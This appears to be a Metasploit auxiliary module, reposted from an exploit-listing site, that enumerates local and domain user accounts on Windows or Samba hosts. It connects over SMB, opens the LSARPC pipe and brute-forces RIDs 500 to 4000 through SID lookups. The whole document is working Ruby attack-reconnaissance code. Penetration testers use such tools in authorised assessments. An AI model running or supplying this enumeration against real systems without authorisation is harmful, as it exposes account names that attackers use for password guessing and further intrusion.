Share
## https://sploitus.com/exploit?id=PACKETSTORM:180976
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
  
# Exploit mixins should be called first  
include Msf::Exploit::Remote::MsLsad  
include Msf::Exploit::Remote::MsLsat  
include Msf::Exploit::Remote::DCERPC  
  
# Scanner mixin should be near last  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
include Msf::OptionalSession::SMB  
  
def initialize  
super(  
'Name' => 'SMB SID User Enumeration (LookupSid)',  
'Description' => 'Determine what users exist via brute force SID lookups.  
This module can enumerate both local and domain accounts by setting  
ACTION to either LOCAL or DOMAIN',  
'Author' => 'hdm',  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
# Samba doesn't like this option, so we disable so we are compatible with  
# both Windows and Samba for enumeration.  
'DCERPC::fake_bind_multi' => false  
},  
'Actions' =>  
[  
['LOCAL', { 'Description' => 'Enumerate local accounts' } ],  
['DOMAIN', { 'Description' => 'Enumerate domain accounts' } ]  
],  
'DefaultAction' => 'LOCAL',  
)  
  
register_options(  
[  
OptInt.new('MinRID', [ false, "Starting RID to check", 500 ]),  
OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ])  
]  
)  
end  
  
def rport  
@rport  
end  
  
def smb_direct  
@smb_direct  
end  
  
def connect(*args, **kwargs)  
super(*args, **kwargs, direct: @smb_direct)  
end  
  
def run_session  
smb_services = [{ port: self.simple.peerport, direct: self.simple.direct }]  
smb_services.map { |smb_service| run_service(smb_service[:port], smb_service[:direct]) }  
end  
  
def run_rhost  
if datastore['RPORT'].blank? || datastore['RPORT'] == 0  
smb_services = [  
{ port: 445, direct: true },  
{ port: 139, direct: false }  
]  
else  
smb_services = [  
{ port: datastore['RPORT'], direct: datastore['SMBDirect'] }  
]  
end  
  
smb_services.map { |smb_service| run_service(smb_service[:port], smb_service[:direct]) }  
end  
  
def run_service(port, direct)  
@rport = port  
@smb_direct = direct  
  
ipc_tree = connect_ipc  
lsarpc_pipe = connect_lsarpc(ipc_tree)  
endpoint = RubySMB::Dcerpc::Lsarpc.freeze  
policy_handle = open_policy2(endpoint::SECURITY_IMPERSONATION, endpoint::SECURITY_CONTEXT_CONTINUOUS_UPDATES, endpoint::MAXIMUM_ALLOWED)  
  
account_policy = query_information_policy(policy_handle, endpoint::POLICY_ACCOUNT_DOMAIN_INFORMATION)  
primary_policy = query_information_policy(policy_handle, endpoint::POLICY_PRIMARY_DOMAIN_INFORMATION)  
  
info = {  
local: {  
name: primary_policy[:policy_information][:name].encode('ASCII-8BIT'),  
sid: primary_policy[:policy_information][:sid].to_s.encode('ASCII-8BIT')  
},  
domain: {  
name: account_policy[:policy_information][:domain_name].encode('ASCII-8BIT'),  
sid: account_policy[:policy_information][:domain_sid].to_s.encode('ASCII-8BIT')  
}  
}  
  
# Store the domain information  
report_note(  
:host => self.simple.peerhost,  
:proto => 'tcp',  
:port => self.simple.peerport,  
:type => 'smb.domain.lookupsid',  
:data => info[:domain]  
)  
  
pipe_info = "PIPE(#{lsarpc_pipe.name})"  
local_info = "LOCAL(#{info[:local][:name]} - #{info[:local][:sid]})"  
domain_info = "DOMAIN(#{info[:domain][:name]} - #{info[:domain][:sid]})"  
all_info = "#{pipe_info} #{local_info} #{domain_info}"  
print_status(all_info)  
  
target_sid = case action.name.upcase  
when 'LOCAL'  
info[:local][:sid] == 'null' ? info[:domain][:sid] : info[:local][:sid]  
when 'DOMAIN'  
# Fallthrough to the host SID if no domain SID was returned  
if info[:domain][:sid] == 'null'  
print_error 'No domain SID identified, falling back to the local SID...'  
info[:local][:sid]  
else  
info[:domain][:sid]  
end  
end  
  
min_rid = datastore['MinRID']  
max_rid = datastore['MaxRID']  
  
output = []  
  
# Brute force through a common RID range  
min_rid.upto(max_rid) do |rid|  
print "%bld%blu[*]%clr Trying RID #{rid} / #{max_rid}\r"  
begin  
sid = "#{target_sid}-#{rid}"  
sids = lookup_sids(policy_handle, sid, endpoint::LSAP_LOOKUP_WKSTA)  
sids.each do |sid|  
output << [ map_security_principal_to_string(sid[:type]), sid[:name], rid ]  
end  
rescue RubySMB::Dcerpc::Error::LsarpcError => e  
# Ignore unmapped RIDs  
unless e.message.match?(/STATUS_NONE_MAPPED/) || e.message.match?(/STATUS_SOME_MAPPED/)  
wlog e  
end  
end  
end  
  
output  
  
rescue Msf::Exploit::Remote::SMB::Client::Ipc::SmbIpcAuthenticationError => e  
print_warning e.message  
nil  
rescue ::Timeout::Error  
rescue ::Exception => e  
print_error("Error: #{e.class} #{e}")  
ensure  
close_policy(policy_handle)  
disconnect_lsarpc  
disconnect_ipc(ipc_tree)  
end  
  
def format_results(results)  
sids_table = Rex::Text::Table.new(  
'Indent' => 4,  
'Header' => "SMB Lookup SIDs Output",  
'Columns' =>  
[  
'Type',  
'Name',  
'RID'  
],  
'SortIndex' => 2, # Sort by RID  
)  
  
# Each result contains 0 or more arrays containing: SID Type, Name, RID  
results.compact.each do |result_set|  
result_set.each { |result| sids_table << result }  
end  
  
sids_table  
end  
  
# Fingerprint a single host  
def run_host(_ip)  
if session  
self.simple = session.simple_client  
results = run_session  
else  
results = run_rhost  
end  
  
results_table = format_results(results)  
results_table.rows = results_table.rows.uniq # Remove potentially duplicate entries from port 139 & 445  
  
print_line  
print_line results_table.to_s  
end  
end